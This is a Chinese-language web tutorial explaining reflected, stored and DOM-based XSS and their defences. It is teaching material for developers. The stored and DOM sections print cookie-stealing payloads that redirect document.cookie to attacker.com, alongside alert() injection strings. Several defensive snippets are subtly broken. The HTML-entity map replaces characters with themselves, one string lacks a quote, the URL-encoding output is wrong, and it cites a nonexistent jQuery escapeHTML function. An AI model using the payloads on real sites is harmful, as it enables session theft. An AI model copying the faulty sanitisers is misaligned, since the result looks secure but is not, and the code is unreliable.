随着網際網路的快速普及,越來越多的敏感資訊被存儲在網絡上,例如個人身份資訊、财務資訊等。在目前數字化時代,這些安全問題變得更加突出。作為開發者,我們必須采取适當的防範措施,以確定使用者資料的安全性。本文将着重探讨跨站腳本攻擊(Cross-site scripting,XSS)這一常見的網絡攻擊方式,包括其定義、原理、危害、分類和防範措施,以幫助大家更好地預防此類安全風險。
一、概述
定義:跨站點腳本攻擊,簡稱XSS,是指攻擊者利用網站存在的漏洞,通過在網站中注入惡意腳本代碼,進而使得使用者在通路該網站時受到攻擊。這些惡意腳本代碼通常是JavaScript 代碼,它們可以竊取使用者的敏感資訊,如使用者名、密碼等,并将這些資訊發送到攻擊者的伺服器。
1.1 原理
XSS攻擊的本質是利用Web應用程式中的漏洞,向網頁注入惡意腳本代碼,然後将這些代碼嵌入到網頁中,當其他使用者通路這個網頁時,惡意腳本将會被執行。
攻擊者通常會在Web應用程式的輸入框、評論框、搜尋框等可輸入内容的地方輸入特定的腳本代碼,這些代碼可以被Web應用程式直接插入到網頁中,導緻網頁上的所有使用者都會受到攻擊。
XSS攻擊的原理包括以下幾個步驟:
1、攻擊者在Web應用程式的輸入框、評論框等可輸入内容的地方輸入包含script标簽的惡意腳本代碼,例如:
<script>
// 在這裡插入惡意腳本代碼
</script>
2、Web應用程式将惡意腳本代碼儲存到資料庫中或直接将其插入到網頁的HTML代碼中。
3、當其他使用者通路這個網頁時,浏覽器會執行其中的惡意腳本代碼。惡意腳本可以竊取使用者的敏感資訊,如登入憑證、浏覽器曆史記錄、Cookie等,或者通過控制使用者的浏覽器來進行更多的攻擊。
例如,以下是一段可以竊取使用者Cookie的惡意腳本代碼:
<script>
let cookieValue = document.cookie;
// 将cookieValue發送到攻擊者的伺服器
</script>
4、攻擊者擷取到使用者的敏感資訊後,可以進行更進一步的攻擊,例如重定向到惡意網站、發起釣魚攻擊等。
1.2 危害
1、竊取使用者敏感資訊:攻擊者可以在注入的惡意腳本中加入一些竊取使用者敏感資訊的代碼,如使用者名、密碼、信用卡号等,這樣就可以擷取使用者的敏感資訊,進而進行個人資訊洩露、身份盜竊等活動。
2、篡改使用者頁面内容:攻擊者可以通過注入的惡意腳本修改網頁中的文本、圖檔、連結等内容,進而欺騙使用者,讓使用者誤以為這些内容是合法的,引誘使用者進行一些不安全的操作,如點選連結、下載下傳附件等。
3、執行惡意代碼:攻擊者可以在注入的惡意腳本中加入一些惡意代碼,如下載下傳病毒、執行木馬程式等,這些代碼可以讓攻擊者進一步控制使用者計算機,并對使用者進行更深入的攻擊。
4、影響網站信譽度:XSS攻擊會讓網站的安全性受到嚴重威脅,如果攻擊者能夠成功地在網站中注入惡意代碼,那麼使用者就會失去對該網站的信任,網站的信譽度也會受到嚴重影響,這對于商業網站來說是非常不利的。
二、XSS攻擊分類及其預防措施
XSS攻擊可以分為三種類型:反射型XSS、存儲型XSS和DOM型XSS。下面将分别對這三種攻擊類型及其對應的應對措施進行詳細說明。
2.1 反射型XSS
1、定義:反射型XSS攻擊是一種最常見的XSS攻擊類型。攻擊者向Web應用程式發送包含惡意腳本代碼的連結或者表單,當使用者點選這些連結或者送出表單時,惡意代碼就會在使用者的浏覽器上執行。由于這種攻擊方式需要欺騙使用者主動點選連結或送出表單,是以其成功率較低。
代碼舉例:
http://example.com/search?query=<script>alert("XSS")</script>
這個URL包含一個名為“query”的參數,參數值是一個包含惡意JavaScript代碼的HTML标簽。當使用者點選或者通路這個URL時,浏覽器會執行這段JavaScript代碼,彈出一個警告框,提示使用者被攻擊了。
攻擊者可以将惡意代碼替換為更危險的代碼,例如通過竊取使用者的會話令牌來劫持使用者的賬戶,或者通過修改網站内容來欺騙使用者進行詐騙等。
2、防範措施:
(1)對于所有輸入的資料,都需要進行過濾和轉義,特别是URL參數和表單送出中的資料,應該使用URL編碼和HTML實體編碼等方式進行處理,避免惡意腳本的注入。
使用URL編碼舉例:
function encodeForUrl(string) {
return encodeURIComponent(string);
// encodeURIComponent為原生JS的方法,可把字元串作為URI 元件進行編碼
}
let userInput = '<script>alert("XSS");</script>!';
let encodedInput = encodeForUrl(userInput);
console.log(encodedInput);
// 輸出:%2C%20%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E%21
使用HTML實體編碼舉例:
function encodeForHtml(string) {
var map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return string.replace(/[&<>"']/g, function(m) { return map[m]; });
}
var userInput = <script>alert("XSS");</script>!';
var encodedInput = encodeForHtml(userInput);
console.log(encodedInput);
// 輸出:<script>alert("XSS");</script>!
(2)對于所有傳遞給伺服器的請求,都需要進行身份驗證和權限控制,避免未經授權的使用者送出和執行惡意代碼。
該方法需要後端配合,此處以Node.js舉例,簡單說明後端如何實作身份驗證和權限控制:
// 定義一個中間件函數,用于驗證使用者是否已登入并具有足夠的權限
function authenticate(req, res, next) {
// 如果使用者已經登入,則繼續處理請求
if (req.session && req.session.user && req.session.user.isAuthenticated) {
// 檢查使用者的角色是否足夠高
if (req.session.user.role === 'admin') {
// 如果使用者是管理者,則允許通路受保護的資源
next();
} else {
// 如果使用者角色不足,則傳回“Forbidden”錯誤
res.status(403).send('Forbidden');
}
} else {
// 如果使用者未登入,則重定向到登入頁面
res.redirect('/login');
}
}
// 在伺服器路由中使用中間件進行身份驗證和權限控制
app.get('/protected-resource', authenticate, function(req, res) {
// 處理受保護的資源
res.send('This is a protected resource');
});
(3)在編寫代碼時,避免直接将使用者輸入的資料作為HTML或JavaScript代碼進行輸出,比如把使用者輸入的資訊内容插入頁面時使用innerText而不是innerHTML。
代碼舉例:
// 擷取使用者輸入的資料
var userInput = document.getElementById("user-input").value;
// 将使用者輸入的資料進行安全處理并輸出
var safeOutput = document.createElement("div");
safeOutput.innerText = userInput;
document.getElementById("output").appendChild(safeOutput);
上面例子中由于innerText會将特殊字元轉義為它們的字面值,而不是将它們解釋為HTML或JavaScript代碼,是以可以有效地避免XSS攻擊。
2.2 儲存型XSS
1、定義:存儲型XSS攻擊是一種更加危險的XSS攻擊類型。攻擊者将惡意腳本代碼存儲在 Web應用程式中,當使用者通路包含這些惡意代碼的頁面時,這些代碼就會在使用者的浏覽器上執行。由于這種攻擊方式不需要欺騙使用者,是以其成功率較高。
以下是一個簡單的儲存型 XSS 攻擊代碼示例,其中攻擊者在表單中注入了惡意 JavaScript 代碼,該代碼将在頁面加載時執行,将受害者的 cookie 發送到攻擊者的伺服器上:
<!-- 攻擊者将下面的代碼插入到 Web 應用程式的表單中 -->
<form action="http://example.com/submit.php" method="post">
<input type="text" name="username" value="Alice">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="comment" value="<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>">
<input type="submit" value="Submit">
</form>
上述代碼中,攻擊者将一個包含惡意 JavaScript 代碼的字元串作為表單元素的值存儲在 Web 應用程式的資料庫中。當受害者通路該頁面時,浏覽器會執行該惡意代碼,将包含使用者 cookie 的請求發送到攻擊者的伺服器上。
攻擊者可以在他們的伺服器上收集并使用受害者的 cookie,以模拟受害者的身份進行操作,例如盜取賬戶資訊或執行未經授權的操作。
2、防範措施:
(1)輸入驗證和過濾:在接受使用者輸入之前,必須對輸入進行嚴格的驗證和過濾,以確定使用者輸入不包含惡意腳本。可以使用正規表達式、白名單過濾等方式進行輸入驗證和過濾。例如,對于表單中的輸入字段,可以使用 JavaScript 庫(如 jQuery)來過濾和轉義使用者輸入的特殊字元,以防止惡意腳本注入。
代碼舉例:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>輸入驗證和過濾示例</title>
<script src="./jquery-3.6.0.min.js"></script>
<script>
$(document).ready(function() {
$('form').submit(function(event) {
var userInput = $('input[name="userInput"]').val();
// 使用正規表達式過濾使用者輸入
var filteredInput = userInput.replace(/[<>]/g, '');
$('input[name="userInput"]').val(filteredInput);
});
});
</script>
</head>
<body>
<h1>輸入驗證和過濾示例</h1>
<form>
<label>輸入内容:</label>
<input type="text" name="userInput">
<br>
<button type="submit">送出</button>
</form>
</body>
</html>
(2)輸出轉義:在将使用者輸入的資料輸出到 HTML 頁面上時,必須進行适當的轉義處理,以確定使用者輸入的特殊字元不會被解釋為 HTML 标簽或 JavaScript 代碼。例如,可以使用 JavaScript 庫(如 jQuery)中的 escapeHTML() 函數或 PHP 中的 htmlspecialchars() 函數來對輸出進行轉義。
代碼舉例:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>輸出轉義示例</title>
<script src="./jquery-3.6.0.min.js"></script>
<script>
$(document).ready(function() {
var userInput = '<script>alert("惡意腳本");</script>';
// 使用 jQuery 庫中的 escapeHTML() 函數對輸出進行轉義
var escapedOutput = $.escapeHTML(userInput);
$('#output').text(escapedOutput);
});
</script>
</head>
<body>
<h1>輸出轉義示例</h1>
<div id="output"></div>
</body>
</html>
(3)使用HTTP-only Cookie:使用HTTP-only Cookie可以防止惡意 JavaScript代碼擷取使用者的Cookie。HTTP-only Cookie隻能通過HTTP協定來通路,無法通過JavaScript或其他腳本語言來擷取。可以通過設定Cookie的 HTTP-only屬性來實作。
Node.js代碼舉例:
const http = require('http');
const server = http.createServer((req, res) => {
// 設定 HTTP-only Cookie
res.setHeader('Set-Cookie', ['my_cookie=value; HttpOnly']);
// 其他響應設定
res.statusCode = 200;
res.setHeader('Content-Type', 'text/plain');
res.end('Hello World!');
});
server.listen(3000, () => {
console.log(`Server running at http://localhost:3000/`);
});
在此示例代碼中,使用res.setHeader()函數來設定HTTP-only Cookie。其中,'Set-Cookie' 是HTTP頭的名稱,'my_cookie=value; HttpOnly' 是 HTTP-only Cookie的值。由于 Cookie的HttpOnly屬性被設定為 true,是以無法通過用戶端的JavaScript通路該Cookie,進而降低了XSS攻擊的風險。
(4)限制使用者輸入:可以限制使用者輸入的長度和字元集,以避免使用者輸入過長或包含特殊字元的内容,進而減少注入攻擊的可能性。
(5)對敏感資料加密:對于存儲在資料庫中的敏感資料,例如使用者密碼等,應該使用加密算法進行加密,以防止資料洩露。
(6)定期檢查漏洞:定期對 Web 應用程式進行安全審計,以發現和修複潛在的漏洞,及時防範攻擊。
2.3 DOM型XSS
1、定義:DOM型XSS 攻擊是一種較為特殊的XSS攻擊類型。這種攻擊方式不是向伺服器送出惡意代碼,而是直接在用戶端利用 JavaScript 代碼進行攻擊。攻擊者通過修改用戶端的DOM(文檔對象模型),來執行惡意操作。由于這種攻擊方式不需要向伺服器送出惡意代碼,是以其檢測和防禦都較為困難。
代碼舉例:
<!DOCTYPE html>
<html>
<head>
<title>DOM型XSS Example</title>
<script>
function displayMessage() {
var message = document.getElementById("message").value;
document.getElementById("output").innerHTML = message;
}
</script>
</head>
<body>
<h1>DOM型XSS Example</h1>
<input type="text" id="message" />
<button onclick="displayMessage()">Display Message</button>
<div id="output"></div>
</body>
</html>
在這個示例中,使用者可以在文本框中輸入一段文本,并點選“Display Message”按鈕來将文本顯示在頁面上。但是,如果一個攻擊者在文本框中輸入了以下内容:
<script>document.location="http://www.attacker.com?cookie="+document.cookie;</script>
這段代碼會将使用者的cookie發送到攻擊者的網站,這樣攻擊者就可以擷取使用者的登入憑證等敏感資訊。因為這段代碼被插入到了DOM中,是以它被稱為DOM型XSS攻擊。
2、防範措施:
(1)避免使用eval()函數和innerHTML屬性等不安全的DOM操作函數。這些函數會執行動态字元串,并将其作為 HTML 或腳本插入到頁面中,進而導緻 XSS 漏洞。
(2)對于需要使用動态字元串的情況,應該使用DOM操作函數來建立和插入節點,而不是使用innerHTML屬性。例如,可以使用 document.createElement()函數建立新的節點,使用appendChild()函數将其添加到DOM樹中。
(3)對于需要執行動态腳本的情況,可以使用 document.createElement("script") 函數建立新的<script>标簽,并将其添加到DOM樹中。然後,使用setAttribute()函數來設定标簽的屬性,例如src和type,以及使用appendChild()函數将其添加到DOM樹中。
總結
跨站點腳本攻擊(XSS)是一種常見的網絡安全漏洞,攻擊者會通過在網頁中注入惡意腳本來擷取使用者的敏感資訊或者控制使用者的浏覽器。這種攻擊可以通過輸入驗證、輸出編碼、HTTPS等多種方式進行預防。在編寫網頁時,應該避免将使用者輸入作為網頁内容輸出,同時對于需要使用JavaScript的地方,應該使用安全的API來進行操作,進而保障網站的安全性。